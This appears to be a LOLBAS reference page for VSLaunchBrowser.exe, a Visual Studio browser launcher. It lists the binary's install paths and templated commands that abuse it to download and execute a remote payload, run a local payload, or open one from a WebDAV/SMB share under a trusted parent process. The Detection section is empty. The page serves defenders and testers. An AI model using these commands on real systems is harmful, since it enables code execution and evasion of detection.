🪟 LOLBAS / VSLaunchBrowser.exe

VSLaunchBrowser.exe

Microsoft Visual Studio browser launcher tool for web applications debugging

Paths

  • C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe
  • C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe

Commands

Download

Download and execute payload from remote server

Use case: It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

Privileges: User

VSLaunchBrowser.exe .exe {REMOTEURL:.exe}

Execute

Execute payload via VSLaunchBrowser as parent process

Use case: It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

Privileges: User

VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}

Execute

Execute payload from WebDAV server via VSLaunchBrowser as parent process

Use case: It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.

Privileges: User

VSLaunchBrowser.exe .exe {PATH_SMB}

Detection